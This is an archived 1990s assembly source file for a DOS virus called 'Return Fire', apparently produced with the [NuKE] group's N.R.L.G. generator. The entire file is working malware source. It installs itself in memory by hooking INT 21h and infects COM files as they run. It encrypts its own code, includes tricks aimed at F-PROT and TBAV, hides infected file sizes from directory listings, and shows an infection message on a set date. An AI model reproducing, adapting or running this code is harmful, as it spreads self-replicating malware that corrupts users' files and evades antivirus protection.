home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / RETURN-F.ASM < prev    next >
Assembly Source File  |  1996-05-26  |  23KB  |  444 lines

  1. ;┌────────────────────────────────────────────────────────┐
  2. ;│ THiS iS a [NuKE] RaNDoMiC LiFe GeNeRaToR ViRuS.        │ [NuKE] PoWeR
  3. ;│ CReaTeD iS a N.R.L.G. PRoGRaM V0.66 BeTa TeST VeRSioN  │ [NuKE] WaReZ
  4. ;│ auToR: aLL [NuKE] MeMeBeRS                             │ [NuKE] PoWeR
  5. ;│ [NuKE] THe ReaL PoWeR!                                 │ [NuKE] WaReZ
  6. ;│ NRLG WRiTTeR: AZRAEL (C) [NuKE] 1994                   │ [NuKE] PoWeR
  7. ;└────────────────────────────────────────────────────────┘
  8.  
  9. .286
  10. code    segment
  11. assume cs:code,ds:code
  12. org  100h
  13.  
  14. start:  CALL NEXT 
  15.  
  16. NEXT:  
  17.        mov di,sp             ;take the stack pointer location 
  18.        mov bp,ss:[di]        ;take the "DELTA HANDLE" for my virus       
  19.        sub bp,offset next    ;subtract the large code off this code 
  20.                              ;
  21. ;*******************************************************************
  22. ;                      #1 DECRYPT ROUTINE                               
  23. ;*******************************************************************
  24.  
  25. cmp byte ptr cs:[crypt],0b9h ;is the first runnig?        
  26. je crypt2                    ;yes! not decrypt              
  27. ;----------------------------------------------------------                                          
  28. mov cx,offset fin            ;cx = large of virus               
  29. lea di,[offset crypt]+ bp    ;di = first byte to decrypt          
  30. mov dx,1                     ;dx = value for decrypt          
  31. ;----------------------------------------------------------                                                   
  32. deci:                        ;deci = fuck label!                                    
  33. ;----------------------------------------------------------
  34.  
  35.  inc word ptr [di]
  36. inc byte ptr [di]
  37. add word ptr [di],0e6e9h
  38. sub byte ptr [di],01fh
  39. add byte ptr [di],05fh
  40.  inc di
  41. inc di
  42. ;----------------------------------------------------------                                                
  43. jmp bye                      ;######## BYE BYE F-PROT ! ##########     
  44. mov ah,4ch
  45. int 21h
  46. bye:                         ;#### HEY FRIDRIK! IS ONLY A JMP!!###      
  47. ;-----------------------------------------------------------                               
  48. mov ah,0bh                   ;######### BYE BYE TBAV ! ##########     
  49. int 21h                      ;### (CANGE INT AT YOU PLEASURE) ###        
  50. ;----------------------------------------------------------                                   
  51. loop deci                    ;repeat please!               
  52.                              ;           
  53. ;*****************************************************************
  54. ;                   #2 DECRYPT ROUTINE                                                    
  55. ;*****************************************************************
  56.                               ;    
  57. crypt:                        ;fuck label!                  
  58.                               ;                
  59. mov cx,offset fin             ;cx = large of virus                 
  60. lea di,[offset crypt2] + bp   ;di = first byte to decrypt                  
  61. ;---------------------------------------------------------------                                              
  62. deci2:                        ;              
  63. xor byte ptr cs:[di],1        ;decrytion rutine          
  64. inc di                        ;very simple...            
  65. loop deci2                    ;           
  66. ;---------------------------------------------------------------
  67. crypt2:                       ;fuck label!          
  68.                               ;                  
  69. MOV AX,0CACAH                 ;call to my resident interrup mask                  
  70. INT 21H                       ;for chek "I'm is residet?"   
  71. CMP Bh,0CAH                   ;is equal to CACA?
  72. JE PUM2                       ;yes! jump to runnig program
  73. call action
  74. ;*****************************************************************
  75. ; NRLG FUNCTIONS  (SELECTABLE)
  76. ;*****************************************************************
  77.  
  78.  ;****************************************************************
  79. ;               PROCESS TO REMAIN RESIDENT                                                                  
  80. ;****************************************************************   
  81.  
  82. mov   ax,3521h                  
  83. int   21h                        ;store the int 21 vectors 
  84. mov   word ptr [bp+int21],bx     ;in cs:int21
  85. mov   word ptr [bp+int21+2],es   ;
  86. ;---------------------------------------------------------------
  87. push cs                          ; 
  88. pop ax                           ;ax = my actual segment                             
  89. dec ax                           ;dec my segment for look my MCB
  90. mov es,ax                        ;
  91. mov bx,es:[3]                    ;read the #3 byte of my MCB =total used memory
  92. ;---------------------------------------------------------------
  93. push cs                          ;   
  94. pop es                           ;   
  95. sub bx,(offset fin - offset start + 15)/16  ;subtract the large of my virus 
  96. sub bx,17 + offset fin           ;and 100H for the PSP total
  97. mov ah,4ah                       ;used memory
  98. int 21h                          ;put the new value to MCB
  99. ;---------------------------------------------------------------
  100. mov bx,(offset fin - offset start + 15)/16 + 16 + offset fin     
  101. mov ah,48h                      ;                              
  102. int 21h                         ;request the memory to fuck DOS!                                                 
  103. ;---------------------------------------------------------------
  104. dec ax                          ;ax=new segment 
  105. mov es,ax                       ;ax-1= new segment MCB 
  106. mov byte ptr es:[1],8           ;put '8' in the segment
  107. ;--------------------------------------------------------------                                
  108. inc ax                          ; 
  109. mov es,ax                       ;es = new segment
  110. lea si,[bp + offset start]      ;si = start of virus 
  111. mov di,100h                     ;di = 100H (psp position) 
  112. mov cx,offset fin - start       ;cx = lag of virus
  113. push cs                         ;
  114. pop ds                          ;ds = cs
  115. cld                             ;mov the code
  116. rep movsb                       ;ds:si >> es:di
  117. ;--------------------------------------------------------------
  118. mov dx,offset virus             ;dx = new int21 handler
  119. mov ax,2521h                    ;
  120. push es                         ; 
  121. pop ds                          ; 
  122. int 21h                         ;set the vectors 
  123. ;-------------------------------------------------------------
  124. pum2:                               ;  
  125.                                     ; 
  126. mov ah,byte ptr [cs:bp + real]      ;restore the 3  
  127. mov byte ptr cs:[100h],ah           ;first bytes  
  128. mov ax,word ptr [cs:bp + real + 1]  ;
  129. mov word ptr cs:[101h],ax           ;
  130. ;-------------------------------------------------------------
  131. mov ax,100h                         ;
  132. jmp ax                              ;jmp to execute
  133.                                     ;
  134. ;*****************************************************************
  135. ;*             HANDLER FOR THE INT 21H                                       
  136. ;*****************************************************************
  137.                           ;          
  138. VIRUS:                    ;  
  139.                           ;     
  140. cmp ah,4bh                ;is a 4b function? 
  141. je REPRODUCCION           ;yes! jump to reproduce !
  142. cmp ah,11h
  143. je dir
  144. cmp ah,12h
  145. je dir
  146. dirsal:
  147. cmp AX,0CACAH             ;is ... a caca function? (resident chek)
  148. jne a3                    ;no! jump to a3
  149. mov bh,0cah               ;yes! put ca in bh
  150. a3:                       ;
  151. JMP dword ptr CS:[INT21]  ;jmp to original int 21h
  152. ret                       ;    
  153. make db '[NuKE] N.R.L.G. AZRAEL'
  154. dir:
  155. jmp dir_s
  156. ;-------------------------------------------------------------
  157. REPRODUCCION:              ;       
  158.                            ;
  159. pushf                      ;put the register
  160. pusha                      ;in the stack
  161. push si                    ;
  162. push di                    ;
  163. push bp                    ;
  164. push es                    ;
  165. push ds                    ;
  166. ;-------------------------------------------------------------
  167. push cs                    ;  
  168. pop ds                     ;  
  169. mov ax,3524H               ;get the dos error control                      
  170. int 21h                    ;interupt                        
  171. mov word ptr error,es      ;and put in cs:error                      
  172. mov word ptr error+2,bx    ;            
  173. mov ax,2524H               ;change the dos error control                    
  174. mov dx,offset all          ;for my "trap mask"                      
  175. int 21h                    ;         
  176. ;-------------------------------------------------------------
  177. pop ds                     ;
  178. pop es                     ;restore the registers
  179. pop bp                     ;
  180. pop di                     ;
  181. pop si                     ;
  182. popa                       ;
  183. popf                       ;
  184. ;-------------------------------------------------------------
  185. pushf                      ;put the registers
  186. pusha                      ;     
  187. push si                    ;HEY! AZRAEL IS CRAZY?
  188. push di                    ;PUSH, POP, PUSH, POP
  189. push bp                    ;PLEEEEEAAAAAASEEEEEEEEE
  190. push es                    ;PURIFY THIS SHIT!
  191. push ds                    ;
  192. ;-------------------------------------------------------------
  193. mov ax,4300h                 ;       
  194. int 21h                      ;get the file     
  195. mov word ptr cs:[attrib],cx  ;atributes   
  196. ;-------------------------------------------------------------
  197. mov ax,4301h                 ;le saco los atributos al        
  198. xor cx,cx                    ;file 
  199. int 21h                      ;
  200. ;-------------------------------------------------------------  
  201. mov ax,3d02h                 ;open the file 
  202. int 21h                      ;for read/write
  203. mov bx,ax                    ;bx=handle
  204. ;-------------------------------------------------------------
  205. mov ax,5700h                ;     
  206. int 21h                     ;get the file date  
  207. mov word ptr cs:[hora],cx   ;put the hour    
  208. mov word ptr cs:[dia],dx    ;put the day    
  209. and cx,word ptr cs:[fecha]  ;calculate the seconds    
  210. cmp cx,word ptr cs:[fecha]  ;is ecual to 58? (DEDICATE TO N-POX)    
  211. jne seguir                  ;yes! the file is infected!     
  212. jmp cerrar                  ;
  213. ;------------------------------------------------------------
  214. seguir:                     ;     
  215. mov ax,4202h                ;move the pointer to end
  216. call movedor                ;of the file
  217. ;------------------------------------------------------------
  218. push cs                     ;   
  219. pop ds                      ; 
  220. sub ax,3                    ;calculate the 
  221. mov word ptr [cs:largo],ax  ;jmp long
  222. ;-------------------------------------------------------------
  223. mov ax,04200h               ;move the pointer to  
  224. call movedor                ;start of file
  225. ;----------------------------------------------------------                                          
  226. push cs                     ;   
  227. pop ds                      ;read the 3 first bytes  
  228. mov ah,3fh                  ;                           
  229. mov cx,3                    ;
  230. lea dx,[cs:real]            ;put the bytes in cs:[real]
  231. int 21h                     ;
  232. ;----------------------------------------------------------                                          
  233. cmp word ptr cs:[real],05a4dh   ;the 2 first bytes = 'MZ' ?
  234. jne er1                         ;yes! is a EXE... fuckkk!
  235. ;----------------------------------------------------------
  236. jmp cerrar
  237. er1:
  238. ;----------------------------------------------------------                                          
  239. mov ax,4200h      ;move the pointer                               
  240. call movedor      ;to start fo file
  241. ;----------------------------------------------------------                                          
  242. push cs           ;       
  243. pop ds            ; 
  244. mov ah,40h        ;  
  245. mov cx,1          ;write the JMP
  246. lea dx,[cs:jump]  ;instruccion in the
  247. int 21h           ;fist byte of the file
  248. ;----------------------------------------------------------                                          
  249. mov ah,40h         ;write the value of jmp
  250. mov cx,2           ;in the file 
  251. lea dx,[cs:largo]  ; 
  252. int 21h            ;
  253. ;----------------------------------------------------------                                          
  254. mov ax,04202h      ;move the pointer to 
  255. call movedor       ;end of file
  256. ;----------------------------------------------------------                                          
  257. push cs                     ;        
  258. pop ds                      ;move the code  
  259. push cs                     ;of my virus      
  260. pop es                      ;to cs:end+50     
  261. cld                         ;for encrypt          
  262. mov si,100h                 ;    
  263. mov di,offset fin + 50      ;      
  264. mov cx,offset fin - 100h    ;        
  265. rep movsb                   ;      
  266. ;----------------------------------------------------------                                          
  267. mov cx,offset fin           
  268. mov di,offset fin + 50 + (offset crypt2 - offset start)  ;virus         
  269. enc:                              ;           
  270. xor byte ptr cs:[di],1            ;encrypt the virus              
  271. inc di                            ;code                   
  272. loop enc                          ;              
  273. ;---------------------------------------------------------
  274. mov cx,offset fin           
  275. mov di,offset fin + 50 + (offset crypt - offset start)  ;virus         
  276. mov dx,1
  277. enc2:                              ;           
  278.  
  279.  sub byte ptr [di],05fh
  280. add byte ptr [di],01fh
  281. sub word ptr [di],0e6e9h
  282. dec byte ptr [di]
  283. dec word ptr [di]
  284.  inc di
  285. inc di                             ;the virus code                  
  286. loop enc2                          ;              
  287. ;--------------------------------------------
  288. mov ah,40h                       ;  
  289. mov cx,offset fin - offset start ;copy the virus              
  290. mov dx,offset fin + 50           ;to end of file
  291. int 21h                          ;
  292. ;----------------------------------------------------------                                          
  293. cerrar:                          ;
  294.                                  ;restore the       
  295. mov ax,5701h                     ;date and time    
  296. mov cx,word ptr cs:[hora]        ;file   
  297. mov dx,word ptr cs:[dia]         ;     
  298. or cx,word ptr cs:[fecha]        ;and mark the seconds  
  299. int 21h                          ; 
  300. ;----------------------------------------------------------                                          
  301. mov ah,3eh                       ; 
  302. int 21h                          ;close the file
  303. ;----------------------------------------------------------                                          
  304. pop ds                           ;
  305. pop es                           ;restore the 
  306. pop bp                           ;registers
  307. pop di                           ; 
  308. pop si                           ;
  309. popa                             ;
  310. popf                             ;
  311. ;----------------------------------------------------------                                          
  312. pusha                           ;   
  313.                                 ;                                                             
  314. mov ax,4301h                    ;restores the atributes 
  315. mov cx,word ptr cs:[attrib]     ;of the file  
  316. int 21h                         ;   
  317.                                 ;
  318. popa                            ; 
  319. ;----------------------------------------------------------                                          
  320. pushf                           ;                           
  321. pusha                           ; 8-(  = f-prot                       
  322. push si                         ;                       
  323. push di                         ; 8-(  = tbav   
  324. push bp                         ;                       
  325. push es                         ; 8-)  = I'm                        
  326. push ds                         ;                              
  327. ;----------------------------------------------------------                                          
  328. mov ax,2524H                    ;                         
  329. lea bx,error                    ;restore the                         
  330. mov ds,bx                       ;errors handler      
  331. lea bx,error+2                  ;                         
  332. int 21h                         ;                       
  333. ;----------------------------------------------------------                                          
  334. pop ds                          ;
  335. pop es                          ;
  336. pop bp                          ;restore the 
  337. pop di                          ;resgisters
  338. pop si                          ;
  339. popa                            ;
  340. popf                            ;
  341. ;----------------------------------------------------------                                          
  342. JMP A3                          ;jmp to orig. INT 21
  343.                                 ;
  344. ;**********************************************************
  345. ;           SUBRUTINES AREA
  346. ;**********************************************************
  347.                                 ;
  348. movedor:                        ;   
  349.                                 ; 
  350. xor cx,cx                       ;use to move file pointer         
  351. xor dx,dx                       ;       
  352. int 21h                         ;        
  353. ret                             ;        
  354. ;----------------------------------------------------------                                          
  355. all:                            ;  
  356.                                 ; 
  357. XOR AL,AL                       ;use to set 
  358. iret                            ;error flag
  359.  
  360. ;***********************************************************
  361. ;         DATA AREA
  362. ;***********************************************************
  363. largo  dw  ?
  364. jump   db  0e9h
  365. real   db  0cdh,20h,0
  366. hora   dw  ?
  367. dia    dw  ?
  368. attrib dw  ?
  369. int21  dd  ?
  370. error  dd  ?
  371.  
  372.  ;---------------------------------
  373. action:                          ;Call label      
  374. MOV AH,2AH                       ;        
  375. INT 21H                          ;get date           
  376. CMP Dl,byte ptr cs:[action_dia+bp]  ;is equal to my day?                 
  377. JE  cont                         ;nop! fuck ret          
  378. cmp byte ptr cs:[action_dia+bp],32  ;
  379. jne no_day                       ;
  380. cont:                            ; 
  381. cmp dh,byte ptr cs:[action_mes+bp]  ;is equal to my month?            
  382. je set                           ;
  383. cmp byte ptr cs:[action_mes+bp],13  ;
  384. jne NO_DAY                       ;nop! fuck ret           
  385. set:                             ; 
  386. mov AH,9                         ;yeah!!          
  387. MOV DX,OFFSET PAO                ;print my text!         
  388. INT 21H                          ;now!   
  389. INT 20H                          ;an finsh te program        
  390. NO_DAY:                          ;label to incorrect date              
  391. ret                              ;return from call 
  392. ;---------------------------------
  393.  
  394.  
  395. PAO:
  396. DB 10,13,'YOU ARE INFECTED WITH A VIRUS!!!    "RETURN FIRE!" ver 2.8         "F-prot cannot survive!!"','$'
  397.  
  398. ;*****************************************************
  399. dir_s:                                                               
  400.              pushf                                                         
  401.              push    cs                                                    
  402.              call    a3                      ;Get file Stats                       
  403.              test    al,al                   ;Good FCB?                            
  404.              jnz     no_good                 ;nope                                 
  405.              push    ax                                                 
  406.              push    bx                                                    
  407.              push    es                                                    
  408.              mov     ah,51h                  ;Is this Undocmented? huh...          
  409.              int     21h                                                   
  410.              mov     es,bx                                                 
  411.              cmp     bx,es:[16h]                                           
  412.              jnz     not_infected                        
  413.              mov     bx,dx                                                 
  414.              mov     al,[bx]                                               
  415.              push    ax                                                    
  416.              mov     ah,2fh                   ;Get file DTA                         
  417.              int     21h                                                   
  418.              pop     ax                                                    
  419.              inc     al                                                    
  420.              jnz     fcb_okay                                              
  421.              add     bx,7h                                                 
  422. fcb_okay:    mov     ax,es:[bx+17h]                                   
  423.              and     ax,1fh                   ;UnMask Seconds Field                 
  424.              xor     al,byte ptr cs:fechad                                      
  425.              jnz     not_infected                                            
  426.              and     byte ptr es:[bx+17h],0e0h                            
  427.              sub     es:[bx+1dh],OFFSET FIN - OFFSET START  ;Yes minus virus size       
  428.              sbb     es:[bx+1fh],ax                                        
  429. not_infected:pop     es                                                    
  430.              pop     bx                                                    
  431.              pop     ax                                                    
  432. no_good:     iret                                                          
  433. ;********************************************************************
  434. ; THIS DIR STEALTH METOD IS EXTRAC FROM NUKEK INFO JOURNAL 4 & N-POX 
  435. ;*********************************************************************
  436.  
  437.  action_dia Db 07H ;day for the action
  438. action_mes Db 04H ;month for the action
  439. FECHA DW 01eH ;Secon for mark
  440. FECHAd Db 01eH ;Secon for mark dir st
  441. fin:
  442. code ends
  443. end start
  444.